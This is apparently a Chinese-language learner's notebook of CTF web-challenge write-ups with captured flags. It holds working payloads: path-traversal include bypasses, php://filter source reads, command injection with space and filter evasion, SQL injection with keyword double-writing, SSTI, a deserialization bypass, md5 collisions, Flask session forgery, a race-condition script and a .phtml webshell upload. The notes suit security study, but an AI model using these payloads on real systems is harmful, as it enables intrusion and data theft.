提示:这里可以添加本文要记录的大概内容:
菜鸡的笔记
提示:以下是本篇文章正文内容,下面案例可供参考
示例:等俺刷完再写
私有变量中的类在序列化后前后会有空白符即\0而由于是不可见字符会导致我们复制时丢失即需要自己手动添加%00
PHP的字符串解析特性绕过Waf:
在php查询字符串的时候或者GET传参时会将其转换为数组即
# /?a=ss 会变成 Array[a]=>"ss" 即变成一个数组做记录
# 但是如果我们改成 /? a=ss 它就会是a=ss而不是GET[a]=ss
getcwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回上一目录
chdir() 函数改变当前的目录。
readfile() 输出一个文件
current() 返回数组中的当前单元, 默认取第一个值
pos() current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不 只一个键名,则返回包含随机键名的数组。
array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)
file_get_contents() 是用于将文件的内容读入到一个字符串
放个链接慢慢看吧我也不太行没有怎么接触等以后慢慢补吧
{{handler.settings}}查询当前配置文件
https://blog.csdn.net/EC_Carrot/article/details/109525162
https://unicode-table.com/en/search/?q=small%20capital
ɢ G ɪ I ɴN
点击后是此页面尝试万能密码后
flag{d998af85-ff56-4947-ad6b-aab85e8a426e}
查看源码
后发现source.php文件访问一下
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
发现
接着打开此网页查看
得到提升flag在ffffllllaaaagggg目录中我们需要绕过将其打开
接着开始审计代码
$_REQUEST 传参为全局变量
empty 判断传参是否为空
is_string 检查是否为字符串
和上面哪个函数
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) { 判断是否为空是否是字符串
echo "you can't see it";
return false;
} 这个if语句正常逃逸
if (in_array($page, $whitelist)) { 字符串查找
return true;
} 这个返回值为真即在此处结束即可
$_page = mb_substr( 函数返回字符串的一部分
$page,
0,
mb_strpos($page . '?', '?')返回要查找的字符串在别一个字符串中首次出现的位置
);这一分是返回$page起始到第二个?的内容
if (in_array($_page, $whitelist)) {接着查找
return true;
}
$_page = urldecode($page); 解码 URL 字符串函数
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { 同上
return true;
}
echo "you can't see it";
return false;
}
}
看关键函数返回ture 后执行 include函数(这个在C中解释是预编译)他会执行$file的传参
然后我们进行查找ffffllllaaaagggg所在函数
命令:/?file=source.php?../…/…/…/ffffllllaaaagggg
①尝试 …/…/ (…/是返回上一目录)
进行N次尝试后 在 /?file=source.php?../…/…/…/…/ffffllllaaaagggg
得出flag{42237a1c-465b-4d2d-ba08-4f109a6108ed}
打开靶场
一直喵星人???
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
查看源代码后发现一段代码 根据代码提示请求后 /?cat=dog
得出
flag{68201e55-d596-4925-af0f-fc1dc6bcc748}
点开环境是一个跳转接着点
查看源码也是啥都没有抓包后也是没有收获于是想到可能是文件包含的题用filter 协议
点击此处有相关介绍
file=php://filter/read=convert.base64-encode/resource=flag.php
读取后进行base64解密即可
flag{680b0071-ebfa-4c01-9589-0f443ed47ebe}
点开环境是一个ping
输入127.0.0.1本机ip发现有回响接着输入 & 符进行后续输入
发现可以打开接着进行不断查找flag所在位置
cd 打开位置
ls 列出当前目录
…/ 返回上一级
打开该文件
cat 打开文件
得出flag{c6c89bab-5179-4bca-a09f-9f841d0a7eec}
此题我做了好久这题做法不一姿势很多很骚
打开环境后尝试万能密码有回响
####### 首先查询基本内容
接着注入查看列库表的一些基本内容
1’;order by 3;#
查列发现有三列
1’;show tables;#
查表发现有两个表
1’;show tables;#
1’;select database;#
大致内容了解在当前 hahahah数据库中有两个表和禁用掉的相关函数
####### 接着查询两个已知的数据表
1’; show columns from 1919810931114514
;#
发现flag 但由上面可得select函数被禁用无法查看
11’; show columns from words;#
查询第二个表
####### 由以上内容进行姿势绕过
####### 法①
一直当输入万能密码时该数据库的id字段会爆出来
so如果我们将flag的列名换成id这样就可以爆出来
需要先将words的表名换了再换列名
1';rename table words to B;
rename table `1919810931114514` to words;
alter table `words` change `flag` `id` varchar(100);#
varchar(100);原id是int型而现在的是char进行改变
输入后无报错即已成功将SQL语句插入其中
万能密码爆出flag{98f25409-1314-4bce-907e-79a464913fec}
####### 法②
通过绕过select 函数检测来读取flag
怎么绕过呢常见的绕过大小写 双写 拼接
而这个题就是可以采用拼接和大小写绕过检测
concat拼接函数然后再来个预编译试试
·1';set @sql=concat('se','lect * from `1919810931114514`;');prepare qw from @sql;execute qw;#
先于编译然后再使用
发现抱错set 通过判断可以尝试大小写绕过
得出flag{8999abac-75f4-4f99-9350-a6d8a01f59b8}
简单注入真滴简单死了反正我是噶了
打开输入1然后爆出一些东东接着联合查询啥的发现都不能用但是还能爆出一些基本信息
但是也没有多大鸟用最后还是看大佬的WP做的
通过大佬可知 源码可能为:select $_POST[‘query’] || flag from Flag
有源码可得: 当输入的值为 *,1 时语句为 select *,1 || flag from Flag
=> select *,1 from Flag 此处1是指新增一列而 *是所有 即查出所有
还有一种做法是将 || 入手将其从逻辑符变成连接符
即更改其SQL配置将其改为连接符
set sql_mode=PIPES_AS_CONCAT
即姿势诞生 1;set sql_mode=PIPES_AS_CONCAT;select 1
更改配置后重新查询一下即可
flag{687061d4-d5e0-4bb0-ae5e-4d759fcce69e}
打开后正常ping一下测试
然后进行其他尝试由于到打游戏的时间了此题长话短说总之呢你会发现他吧 空格符号禁用了还禁用了flag的每个字符
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
上面可以替代空格的
然后接下来
/?ip=127.0.0.1|l列一下当前目录
然后尝试打开flag结果打不开所以打开另一个文件/?ip=127.0.0.1;cat$IFS$1index.php
发现过滤的东西,但是有个 $a变量可以进行参数覆盖
?ip=127.0.0.1;a=f;tac$IFS$1$alag.php 过滤
?ip=127.0.0.1;a=l;tac$IFS$1f$aag.php 没flag
?ip=127.0.0.1;a=a;tac$IFS$1fl$ag.php 过滤
?ip=127.0.0.1;a=g;tac$IFS$1fla$a.php 有flag
?ip=127.0.0.1;a=fl;b=ag;tac$IFS$1$a$b.php 过滤
?ip=127.0.0.1;b=ag;a=fl;tac$IFS$1$a$b.php 有flag
时间紧急这一段是复制别人的(可用)
此题还能进行
这一段也是复制别人的没有亲自测试(未知)
这题还可以
?ip=127.0.0.1;cat$IFS`ls` 内敛执行
?ip=127.0.0.1;cat$IFS$3`ls` 即将ls以参数的形式在cat中执行
?ip=127.0.0.1;cat$IFS$9`ls` 注意ls是用`` 包裹的即英文的波浪号
?ip=127.0.0.1|cat$IFS$9`ls` tac 与 cat 显示在前后的差别
发现隐藏文件打开后
点击后发现直接结束了
怎么办抓个包试试
在抓包回显时发现隐藏文件打开文件
<?php
highlight_file(__FILE__);
error_reporting(0); 显示报错的函数
$file=$_GET['file']; GET传参
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";当if语句不成立后执行include函数
exit(); strstr() 函数搜索字符串在另一字符串中的第一次出现
}
include($file);
//flag放在了flag.php里
?>
发现一串代码审计进行分析发现最下面表示答案就在 flag.php打开看看
发现就在里面可是看不到猜测文件包含用一下data也被了用伪协议base的形式输出
file=php://filter/read=convert.base64-encode/resource=flag.php
发现隐藏东东
解密
flag{db1b9ae8-1dd8-4880-808c-9d37dc2c98ce}
点击打开后尝试万能密码
1' or 1=1#
有注入但内容经过一系列百度解密发现没有卵用,回到登陆页面查列表
1' order by 3# 没有报错
1' order by 4# 有报错
得出此库有三列接着查表查库查字段
1' union select 1,2,3# 已知是三列所以是 1 2 3
查当前库版本
1' union select 2,database(),version()# 字段那个1 2 3写那个都行
得到库进行爆库表
1’ union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,database(),group_concat(table_name) from
# 字段 当前库 结果连接起来一行输出
information_schema.tables where table_schema=database()#
数据库中的默认 .后 里面是所有 .后 名 在当前库查
查询发现两个表名进行爆字段处理
1’ union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’#
1' union select 1,database(),group_concat(column_name) from
查列 库 连接一行输出
information_schema.columns where table_name='l0ve1ysq1'#
获取所有列信息
1’ union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=‘geekuser’#
1’ union select 1,database(),group_concat(id,username,password) from l0ve1ysq1 #
1' union select 1,database(),group_concat(id,username,password)
查列 库 一行输出
from l0ve1ysq1
表名
得出flag{0f7f8f7b-e492-4e26-94e0-7f6f5701e9c1}
经查询另一个表是没有flag的
这题就比较简单他是暗示 菜刀 ???正经人喜欢用蚁剑的不懂的可以百度一下
直接连接
连接成功真是白给
在根目录得到flag{87809b1c-7820-4bef-969d-fe879b42b685}
打开后很迷糊看看源代码
找到一个隐藏路径
给出提示你需要以https://www.Sycsecret.com网址打开我们通过抓包方式进行伪造
Referer 服务器伪造原理
回响提示需要浏览器了
回响显示需要在本机访问即伪造ip X-Forwarded-For
X-Forwarded-For 概念用法
得出flag{aeea856c-ed33-4b4b-8853-a0b5dcf0da21}
注意放置位置与格式
一个比较标准的文件上传文件后不仅对文件头有限制对文件内容也有限制
然后通过测试发现可以用 GIF89a?(.gif的二进制头) 幻术头绕过然后就是 的问题了www.baidu.com 可知构建无 的一句话木马
就是查找上传图片的位置了这个有两种方法 ①尝试默认存储图片的位置./upload/…②网址扫 综上得出upload/a.phtml文件路径
正常上传然后抓包
通过修改php常用后缀发现 .phtml后缀可以上传蚁剑连接
发现flag
尝试万能密码 1’ or 1=1#
发现抱错回响 ‘1=1#’ 发现写入的or没有了即or被过滤采用常见绕过方式
双写绕过 大小写绕过 代替
or 可以用 || 代替测试后发现此题可以双写绕过也可以 || 替代绕过
查字段 1’order by 3#
发现or by都被过滤双写绕过接着 1’ oorrder bbyy 3 #
经测试4字段报错接着查字段 1’union select 1,2,3#
发现union select 都被过滤 1’ununionion selselectect 1,2,3#
成功查到字段接着查询数据 1’ununionion selselectect 1,2,database()#
接着查表联合注入(被过滤掉的有or union select from where)
1' ununionion seselectlect 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#
接着查询表
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
查到 id username password 字段接着爆字段
1' ununionion selselectect 1,database(),group_concat(id,username,passwoorrd) frfromom b4bsql#
得到flag{63f528da-4fd0-4eb0-aa04-733ca4d0c060}
提示了文件备份然后尝试几次备份 www.zip www.rar
username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();}}}
?>
大致就是经过上面那个然后序列化出来再通过GET传进行反序化然后调用class.php如果成立输出flag,现在主要工作就是__wakeup()魔法函数如何绕过
在查过相关资料后发现解决办法绕后先序列化
class Name{
private $username = 'nonono';
private $password = 'yesyes';
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a=new Name('admin',100);
echo serialize($a);//输出序列化内容
?>
O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
由上可知将属性数2改为3即可
playload:
O:4:“Name”:3:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
通过测试发现不太行然后通过www.baidu.com发现 私有变量中的类在序列化后前后会有空白符即\0而由于是不可见字符会导致我们复制时丢失即需要自己手动添加
playload:
/?select=O:4:“Name”:3:{s:14:“%00Name%00username”;s:5:“admin”;s:14:“%00Name%00password”;i:100;}
查看源文件
发现它会将参数传入 calc.php文件我们直接访问该文件
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?"); } }
eval('echo '.$str.';');
}?>
即我们猜测做了 waf 拦截了我们的请求即我们在前面加个空格就好
然后查看以下试试
ok下一步就是绕过了
然后查找到flag隐藏的位置playload:
/? num=var_dump(scandir(dirname(dirname(dirname(getcwd())))))
然后读取flag即可playload:
/? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
在这个看到点进去看看源代码
然后是钱不够由于前面那个就是POST传参即我们直接改钱playload
password=404a&money=100000000000
给出提示数字太长即我们采用科学计数法
没有成功
通过这个可以猜出flag在filename=flllllllag&filehash=这俩MD5就能得出flag
cookie_secret在tornado.web.RequestHandler中的application的settings中,也就是需要传参RequestHandler.application.settings。
但是这个没办法进行传参,真正的传参在提示里面,用handler.settings进行传参
通过render 再加上给出的cookie_secret可以判断可能存在SSTI接着尝试尝试{{24}}
说明存在SSTI注入{{handler.settings}}查询当前配置文件
得出即对 /fllllllllllllag 进行MD5加密然后在合着cookie_secret一起加密
import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="b3f1fb56-61df-41f8-93f8-d84f82da64bc"#会变
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
playload:
?filename=/fllllllllllllag&filehash=b3967bbddc19ef0a69169e8f4dec1ea1
查看也是让输入东东查也是什么都查不到举头无措抓个包试试
发现我们输入的语句
select * from 'admin' where password=md5($pass,true)
会以此行形式进行查询 md5($pass,true) 而这个就不是一般情况能做到的需要让 MD5返回的字符串为 ‘or’ 。。。 这就会巨他的 看看WP
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
?>
采用科学计数法 a=QNKCDZO b=s878926199a
QNKCDZO 0e830400451993494058024219903391
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
<?php
error_reporting(0);
include "flag.php";
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
} ?>
接着md5 由于md5不能对数组加密即 a[]=1&b[]=2
<?php
error_reporting(0);
include "flag.php";
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
} ?>
虽然是强等于但是还是可以过 param1[]=a¶m2[]=s
这题已知四种解题思路:
①弱口令爆破(可能是出题人失误不然这题有点不符合常规)
起初提示admin即我们登录即可尝试弱口令得出admin 123
就离谱然后我们尝试一下其他的在我们注册登陆后发现
即提示我们应该登录admin然后我们进行其他信息搜集在更改密码时发现提示
即此框架部署在github上我们对其下载源码https://github.com/woadsl1234/hctf_flask/
②flask session伪造
下载源码后在登录页面发现他会把账号密码放在session里面
def login():#登录
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)#转小写
session['name'] = name#猜测可以session伪造
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
@app.route('/logout')
接着我们在
config.py里找到加密私钥,我们通过抓包获取一下session的值
python flask_session_cookie_manager3.py decode -s "ckj123" -c ".eJw9kEFrwkAQhf9KmbOHGPUieLCsCbHsLoG1MnMRqzGb2ayFqDRZ8b93a8HjvMf7Hm_usDt11cXC_NrdqhHsmiPM7_D2BXMgoTymmFJezrQpBsqLXplNKrkeS7-ZKJNZGYpARvZRG5SpEy1WCfKyR1P3yIcgg0zIkNPGDRiWMzRRCWtGdr1K1z5eE20-HRnlFJeDFrZFVlbyuyNuG9quLYbIDrZVXMTsMnZnrHgzEFODaezfrhbwGMHh0p12129XnV8TtCgSmWeN2hY_FEOUZ16Jlomt-5umhUzQHK30OFWiDOjlFOvFE9f4fV29SMf0-mHKf-e899GAMYzgdqm6589gnMDjF0NPbXg.Y3n45g.9RMcxMv3DoiT-9wE__tbDQav7gE"
通过私钥解一下密
{'_fresh': True, '_id': b'd3fcf6dd9922db15562852e751a323e31282584814b01a81b73334e6d992c09a3332cb917bf33795de3d64288eb3a20df9bebac8278e6233052ac652f6bcb3ea', 'csrf_token': b'8240ab5b0f3cdaf49cf8dcf6834a7a2f8443bc8b', 'image': b'wkJM', 'name': '1', 'user_id': '10'}
即上面可知如果我们将
'name' : '1' ————> 'name' : 'admin'
在进行加密然后替换 加密
{'_fresh': True, '_id': b'd3fcf6dd9922db15562852e751a323e31282584814b01a81b73334e6d992c09a3332cb917bf33795de3d64288eb3a20df9bebac8278e6233052ac652f6bcb3ea', 'csrf_token': b'8240ab5b0f3cdaf49cf8dcf6834a7a2f8443bc8b', 'image': b'wkJM', 'name': 'admin', 'user_id': '10'}
抓包重放一下得出flag
③unicode欺骗 ᴀA
在审计代码时候
发现他在注册的时候登录改密码的时候都有对字符转小写这是不是有一些多此一举呢?当我们跟进转小写函数时候发现 nodeprep.prepare() 在版本查看Twisted==10.2.0
然后在网上找到了一些关于此的解释大概就是说Twisted==10.2.0而现在已经18.多,但在这个版本中nodeprep.prepare()会对unicode中的 ᴀ 转译为 A 而不会进行转为 a 所以当我们注册账户为 ᴀdmin的时候在注册成功会变成Admin账户然而当我们接着进行修改密码的时候又会变为admin账户即我们再登陆admin账号即可
④条件竞争
这个没有我没能复现出来只说一下大概意思就是因为我们登录和改密都是没有验证的,当我们注册一个账户 A
进程一: A一直进行登录改密码
进程二: 一直进行注销登录,并且用 admin + 进程一改的密码登录
成立条件: 某一时刻进程一刚要改密码而进程二要登陆,就会将session name变为admin,change密码更改为管理员密码
import requests
import threading
def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://7d0ea8a6-bf07-402e-931a-9ebeeab3d34d.node4.buuoj.cn:81/login", data=data)
def logout(s):
return s.get("http://7d0ea8a6-bf07-402e-931a-9ebeeab3d34d.node4.buuoj.cn:81/login")
def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://7d0ea8a6-bf07-402e-931a-9ebeeab3d34d.node4.buuoj.cn:81/change", data=data)
def func1(s):
login(s, 'test', 'test')#注册的账号密码
change(s, 'test')
def func2(s):
logout(s)
res = login(s, 'admin', 'test')#登陆的
if 'flag' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()
if __name__ == "__main__":
main()
反正我没跑出来但是大概思路就是这样